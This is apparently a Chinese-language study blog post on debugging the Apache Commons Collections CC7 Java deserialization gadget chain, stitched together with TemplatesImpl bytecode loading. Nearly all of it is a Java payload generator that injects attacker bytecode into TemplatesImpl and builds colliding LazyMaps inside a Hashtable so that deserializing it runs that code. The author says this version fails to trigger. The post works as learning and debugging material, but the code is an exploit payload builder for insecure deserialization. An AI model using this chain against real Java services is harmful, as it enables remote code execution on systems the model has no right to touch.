CC7 hashtable反序列化原理调试
本来只是对CC各链进行了简单性的写代码复习，就是大致的记忆了CC1-7的各个链触发方式和利用点，但对具体触发的流程并不甚熟悉。昨天闲的没事把templatesImpl和CC7的hashtable缝合了一下，发现payload在触发上存在着一定的问题，然后百思不得其解，然后究极debug还是发现不了问题所在，问了下rmb神仙他和我说是时候究极跟进实现了。于是今天来debug一下
缝合代码
这份是缝合了之后看起来天衣无缝但是跑不起来的代码
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class CCTemplateImpl {
public static Object getPayload(final String command) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass ctClazz = pool.get(TemplateImplPayloadClass.class.getName());
byte[] classBytes = ctClazz.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};
TemplatesImpl templatesImpl = TemplatesImpl.class.newInstance();
Field bf = TemplatesImpl.class.getDeclaredField("_bytecodes");
bf.setAccessible(true);
bf.set(templatesImpl, targetByteCodes);
// 进入 defineTransletClasses() 方法需要的条件
Field nf = TemplatesImpl.class.getDeclaredField("_name");
nf.setAccessible(true);
nf.set(templatesImpl, "name");
Field cf = TemplatesImpl.class.getDeclaredField("_class");
cf.setAccessible(true);
cf.set(templatesImpl, null);
Field tf = TemplatesImpl.class.getDeclaredField("_tfactory");
tf.setAccessible(true);
tf.set(templatesImpl, new TransformerFactoryImpl());
final Transformer[] rubbish = new Transformer[]{new ConstantTransformer(1)};
//等会反射改，不然又打自己
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[] { Templates.class },
new Object[] { templatesImpl } )};
final Transformer transformerChain = new ChainedTransformer(rubbish);
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);
// Use the colliding Maps as keys in Hashtable
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
Field f = transformerChain.getClass().getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
// Needed to ensure hash collision after previous manipulations
lazyMap2.remove("yy");
return hashtable;
}
}